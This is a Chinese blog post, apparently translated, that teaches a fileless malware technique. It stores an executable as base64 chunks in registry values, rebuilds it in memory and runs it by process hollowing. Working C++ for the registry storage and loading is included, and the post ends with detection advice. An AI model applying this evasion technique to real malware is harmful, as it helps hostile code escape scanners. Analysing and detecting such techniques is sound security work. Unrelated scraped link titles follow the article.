netwind · 2015/08/28 13:03

本文主要描述了一个并不多见的恶意软件编写技术:把可执行代码隐藏在windows注册表里。这个技术需要我们把可执行文件的一部分或者入口写进注册表里,然后加载并执行它。这种技术意在隐藏二进制文件潜在的恶意功能,取而代之的是分散在windows注册表里的键值,最终使得恶意二进制文件难以被检测。实际上,键值里的可执行代码被加载的时候,会进行随机次数的编码(重编码),使得特征码扫描更加困难。好的检测策略是监控进程加载数据过程,而不是扫描注册表。

0x00 存储文件到注册表


第一步涉及到把文件导入注册表,文件将被分割多个小部分,并写入到注册表键值中。接下来文件将被提取、重组,最终在一傀儡进程里得以执行。有多个方法实现这一过程。注册表有多种不同的键值类型,足以存储多种格式的数据,包括物理二进制数据、32/64位数值、字符串。实际操作中,文件将被BASE64编码以字符串(REG_SZ)形式被存入注册表。

把数据导入到注册表中非常简单。首先通过RegCreateKeyEx打开键值句柄,RegCreateKeyEx的功能是打开一个存在的键值句柄或者创建一个键值句柄,然后通过RegGetValue and RegSetValueEx来进行读取和写入操作。具体操作参见以下代码:

const HKEY OpenRegistryKey(const char * const strKeyName, const bool bCreate = true)
{
HKEY hKey = nullptr;
DWORD dwResult = 0;LONG lRet = RegCreateKeyExA(HKEY_CURRENT_USER, strKeyName, 0,nullptr, 0, KEY_READ | KEY_WRITE | KEY_CREATE_SUB_KEY,nullptr, &hKey, &dwResult);if (lRet != ERROR_SUCCESS)
{fprintf(stderr, "Could not create/open registry key. Error = %X\n",lRet);exit(-1);
}if (bCreate && dwResult == REG_CREATED_NEW_KEY)
{fprintf(stdout, "Created new registry key.\n");
}
else
{fprintf(stdout, "Opened existing registry key.\n");
}return hKey;
}void WriteRegistryKeyString(const HKEY hKey, const char * const strValueName,
const BYTE *pBytes, const DWORD dwSize)
{
std::string strEncodedData = base64_encode(pBytes, dwSize);LONG lRet = RegSetValueExA(hKey, strValueName, 0, REG_SZ, (const BYTE *)strEncodedData.c_str(), strEncodedData.length());
if (lRet != ERROR_SUCCESS)
{fprintf(stderr, "Could not write registry value. Error = %X\n",lRet);exit(-1);
}
}
const std::array<BYTE, READ_WRITE_SIZE> ReadRegistryKeyString(const char * const strKeyName,
const char * const strValueName, bool &bErrorOccured)
{
DWORD dwType = 0;
const DWORD dwMaxReadSize = READ_WRITE_SIZE * 2;
DWORD dwReadSize = dwMaxReadSize;char strBytesEncoded[READ_WRITE_SIZE * 2] = { 0 };
LONG lRet = RegGetValueA(HKEY_CURRENT_USER,
strKeyName, strValueName,RRF_RT_REG_SZ, &dwType, strBytesEncoded, &dwReadSize);
std::array<BYTE, READ_WRITE_SIZE> pBytes = { 0 };
std::string strDecoded = base64_decode(std::string(strBytesEncoded));
(void)memcpy(pBytes.data(), strDecoded.c_str(), strDecoded.size());if (lRet != ERROR_SUCCESS)
{fprintf(stderr, "Could not read registry value. Error = %X\n",lRet);bErrorOccured = true;
}
if (dwType != REG_SZ || (dwReadSize == 0 || dwReadSize > dwMaxReadSize))
{fprintf(stderr, "Did not correctly read back a string from the registry.\n");bErrorOccured = true;
}
return pBytes;
}
复制代码

这基本是把文件导入到注册表的所有操作了。另外限于篇幅,还有一些额外的细节并没有在上述代码中展示出来,比如把文件分割成小部分写进不同的键值里,这部分代码如下:

void WriteFileToRegistry(const char * const pFilePath)
{
HKEY hKey = OpenRegistryKey("RegistryTest");
std::string strSubName = "Part";
std::string strSizeName = "Size";
size_t ulIndex = 1;auto splitFile = SplitFile(pFilePath);
for (size_t i = 0; i < splitFile.size(); ++i)
{std::string strFullName(strSubName + std::to_string(ulIndex));WriteRegistryKeyString(hKey, strFullName.c_str(), splitFile[i].data(), READ_WRITE_SIZE);++ulIndex;
}
CloseHandle(hKey);
}
复制代码

示例代码中第一级键是在HKCU\RegistryTest下面,可执行文件被分割成多个块儿,每个块儿大小为2048字节,然后进行BASE64编码,以键值名“Part1”, “Part2”, … “PartN”的形式写入注册表里。执行上述代码后,一个8KB的文件写入注册表后形式如下:

通过BASE64解码可以快速验证键值里面的内容是否正确,“Part1”键值内容被解码后输出如下内容(修剪过),可以看到PE文件头。

MZ[144][0][3][0][0][0][4][0][0][0][255][255][0][0][184][0][0][0][0][0][0][0]@[0][0][0][0][0][0][0]
[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][240][0][0][0]
[14][31][186][14][0][180][9][205]![184][2]L[205]!This program cannot be run in DOS mode.[13][13]
[10]$[0][0][0][0][0][0][0][181]!:
复制代码

这个时候文件已经被保存在注册表里了,同时可以从磁盘里删除了。

0x01 从注册表中提取文件


此时,文件被分割成多个小块并保存在注册表里。提取文件无非与第一节相反,读取存储文件的键值的每一部分、进行BASE64解码、合并文件。示例代码如下:

NewProcessInfo JoinRegistryToFile(const char * const strKeyName, const char * const strValueName)
{
NewProcessInfo newProcessInfo = { 0 };
std::vector<std::array<BYTE, READ_WRITE_SIZE>> splitFile;size_t ulKeyIndex = 1;
std::string strFullName(strValueName + std::to_string(ulKeyIndex));bool bErrorOccured = false;
auto partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);while (!bErrorOccured)
{splitFile.push_back(partFile);++ulKeyIndex;strFullName = strValueName + std::to_string(ulKeyIndex);partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);
}newProcessInfo.pFileData = std::unique_ptr<BYTE[]>(new BYTE[splitFile.size() * READ_WRITE_SIZE]);
memset(newProcessInfo.pFileData.get(), 0, splitFile.size() * READ_WRITE_SIZE);size_t ulWriteIndex = 0;
for (auto &split : splitFile)
{(void)memcpy(&newProcessInfo.pFileData.get()[ulWriteIndex * READ_WRITE_SIZE], splitFile[ulWriteIndex].data(),READ_WRITE_SIZE);++ulWriteIndex;
}newProcessInfo.pDosHeader = (IMAGE_DOS_HEADER *)&(newProcessInfo.pFileData.get()[0]);
newProcessInfo.pNtHeaders = (IMAGE_NT_HEADERS *)&(newProcessInfo.pFileData.get()[newProcessInfo.pDosHeader->e_lfanew]);return newProcessInfo;
}
复制代码

这里上一节定义的ReadRegistryKeyString函数被用来提取文件的各个部分,然后把各个部分重新组、合并,存在newProcessInfo.pFileData.这个结构体里。这里还有些额外的区域需要被初始化,比如PE DOS and NT headers,这对下节将会非常有用。

加载提取后的文件 此时文件已经从注册表里提取出来了,并且保存在内存缓冲空间里。如果这时候我们把数据写进磁盘来启动进程,这就本末倒置了,因为文件又回到了磁盘里。这里我们采用替换进程(详见www.codereversing.com/blog/archiv…)的方法来加载我们的可执行文件。接下来我们挂载一个僵尸进程(备注:随便打开一个进程),在它还没有映射内存的时候,使他处于暂停状态。然后我们把我们从注册表里提取的文件按字节映射到该进程里,然后再让进程继续运行,代码如下:

void ExecuteFileFromRegistry(const char * const pValueName)
{
HKEY hKey = OpenRegistryKey("RegistryTest");auto newProcessInfo = JoinRegistryToFile("RegistryTest", pValueName);
auto processInfo = MapTargetProcess(newProcessInfo, "DummyProcess.exe");
RunTargetProcess(newProcessInfo, processInfo);CloseHandle(hKey);
}
复制代码

MapTargetProcess and RunTargetProcess 这两个函数代码这里并没有贴出来,因为他们基本是我从我2011年写的文章里拷贝过来的。这里我提出一点需要注意的地方,本文描素的技术的适用条件是:傀儡进程以及我们需要执行的文件都是基于X86的,并且编译时要禁用DEP/ASLR。我会尽快将支持X64DEP/ASLR的技术细节发布出来。我们的代码执行后效果如图:

这里dummyprocess.exe(包含在文章尾的ZIP里)的进程已被掏空,被另一个进程替换——replacementprocess.exe(也包括在zip)。ZIP里包有一个“Sample”文件夹,以提供交互实例。演示时按以下步骤操作:

运行dummyprocess.exe观察那是一个Win32 UI的应用程序。

运行write.bat,他会调用filelesslauncher.exereplacementprocess.exe写在HKCU \\ registrytest下。

删除replacementprocess.exe

运行execute.bat,它将调用filelesslauncher.exe读取HKCU \\ registrytest下的内容并重组replacementprocess.exe。然后用ReplacementProcess.exe的数据来替dummyprocess.exe的内存数据。进程将继续运行,然后会弹出一个消息框弹,这是replacementprocess.exe代码被执行后的效果。

最后请清理一下注册表。

0x02 总结以及代码


本文所提供的技术展示了如何把一个可执行文件存储在注册表里。在对抗这种技术方面有很多选择。比如:某种程度上被写入的代码要被重组,这就意味着某个地方会出现恶意文件的硬编码或者从注册表提取文件的配置说明。这些都可以用来标记恶意软件的特征。另外,既然采用进程替换技术,也可以利用该技术的弱点来检测。比如,对比傀儡进程的内存镜像和磁盘镜像,一定会有很多不同。通过动态分析,也可以快速找出恶意软件:监控注册表API函数的调用以及检查是否调用了NtUnmapViewOfSection函数,来作为一个标记。

本文代码Visual Studio 2015的工程文件: codereversing.com/runfromreg.…

在x64 Windows 7, 8.1, and 10测试成功的代码: github.com/codereversi…

代码更新 请关注Twitter:twitter.com/codereversi…

恶意软件隐身术:把可执行文件隐藏在注册表里相关推荐

  1. 注册表usbstor删除不了_清除注册表里的U盘使用痕迹

    清除注册表里的U盘使用痕迹 2014-05-09 有些时候我们不想让别人知道我们在电脑上使用过U盘,但系统是会自动记录这些信息的,如何能做到无痕迹的使用U盘呢?别急,下面教你几招: 一.往系统里面添加 ...

  2. win7 怎么干净删除php,window_win7系统如何删除注册表里面的垃圾文件?,win7系统如何删除注册表里面的 - phpStudy...

    win7系统如何删除注册表里面的垃圾文件? win7系统如何删除注册表里面的垃圾文件?在win7系统中我们可以通过删除或修改注册表的垃圾文件,来提高系统的运行速度,但是在删除注册表过程中,如果错误修改 ...

  3. Microsoft Dynamics CRM 数据库连接存储位置在哪里 是在注册表里

    Microsoft Dynamics CRM 数据库连接存储位置是在注册表里

  4. WINDOWS是如何在注册表里记录盘符分配的

    作者:张宇,北亚硬盘数据恢复中心,转载请联系作者,如果实在不想联系作者,至少请保留版权,谢谢. windows在加载一个之前从未加载过的分区时,首先要将这个分区的设备序号信息记录在注册表里,如果对这个 ...

  5. 关于自己看百度修改c盘下的用户名,更改了注册表里的profilelist文件,重启后恢复原始桌面并提示注销问题与解决方案。

    昨天晚上,帮朋友清理电脑发现C盘用户下的文件名是中文,在征求朋友同意后,为帮她更改文件名,上百度搜索了方法,没曾想这一更改就惹了大麻烦. 相信很多看我这个帖子的铁铁也看过这个教程,想要自己更改用户名. ...

  6. 如何在注册表里面删除所有qq相关文件

    如何在注册表里面删除所有qq相关文件 win+R,输入regedit 找到下面的文件 删除所有关于QQ的文件

  7. 如何加固奇迹mu服务端SQL安全设置并隐藏相关注册系统sa密码

    如何加固奇迹mu服务端SQL安全设置并隐藏相关注册系统sa密码 玩家资源不管放在什么时候对于任何一个奇迹服主gm来说都是最重要的资源,很多时候我们开服并不一定能够zq,但是我们可以积累到一定数量的玩家 ...

  8. 如何在注册表里计算机用户名,可以通过注册表修改电脑的密码 ?怎么做的?

    可以通过注册表修改电脑的密码 ?怎么做的?以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! 可以通过注册表修改电脑的密码 ...

  9. 取消Wince App 应用启动动画和隐藏分区注册表项

    在WinCE系统中,应用启动时窗体有一个动画效果(从中间往窗体边缘扩散开). 有些人不想要此效果,可以通过修改注册表来完成. [HKEY_LOCAL_MACHINE/system/gwe] " ...

  10. 如何注册表里修改计算机用户名,更改电脑用户名(可更改C:\Users\用户名)

    首先注意是修改用户名,而不是计算机名.windows 电脑想更改用户名,可是网上的多种方法均失效,因它们均不能彻底修改C盘USERS文件下的名称编辑器 下面的方法是我发现的网上惟一能彻底修改的方法!s ...

最新文章

  1. filter函数的用法_函数周期表丨筛选丨表丨CALCULATETABLE
  2. Python开发面试题及部分答案分享!
  3. TCP三次握手,握的是啥?
  4. VB:如何选定文件或文件夹
  5. 21秋期末考试土力学与地基基础10445k1
  6. leetcode340. 至多包含 K 个不同字符的最长子串
  7. 武汉市江岸区2021年高考成绩查询,2021年武汉各区一、二、三批次高中有哪些(名单)...
  8. Python 抓取图片
  9. matlab对正弦采样信号采样重建,信号与系统实验报告4
  10. python编译器_11 个最佳的 Python 编译器和解释器
  11. android软件百分比怎么实现,Android自实现百分比布局
  12. Educational Codeforces Round 52E(构造,快速幂)
  13. Python学习(二十) —— 前端之CSS
  14. 一次函数的斜率公式_一次函数正比例的公式是什么
  15. 机械电子工程专业和计算机科学,机械电子工程专业属于什么类别
  16. 计算机绘图 cad),CAD计算机绘图入门
  17. EasyAR+ZXing实现UnityAR二维码扫描
  18. Linux系统平均负载的含义
  19. APMServ中Apache启动失败解决方法大全
  20. Lesson 4英语非谓语动词

热门文章

  1. C++ std::vector 的 emplace_back 能否完全取代 push_back
  2. i7台式电脑配置推荐_高配游戏电脑 intel酷睿i7-8700配RTX2070六核台式电脑配置清单表...
  3. 微信小助手都有什么功能?WeChatPlugin mac最新版使用教程
  4. 关于笔记本突然鼠标无法连接,电脑蓝牙消失的问题
  5. Linux rescue
  6. C++之三大特性 “封装”、“继承”、“多态”
  7. [朴智妍][또르르][轱辘轱辘]
  8. [英语歌曲]孤独:Soledad
  9. RoaringBitMap学习和实践
  10. pytorch中的pad_sequence、pack_padded_sequence和pad_packed_sequence函数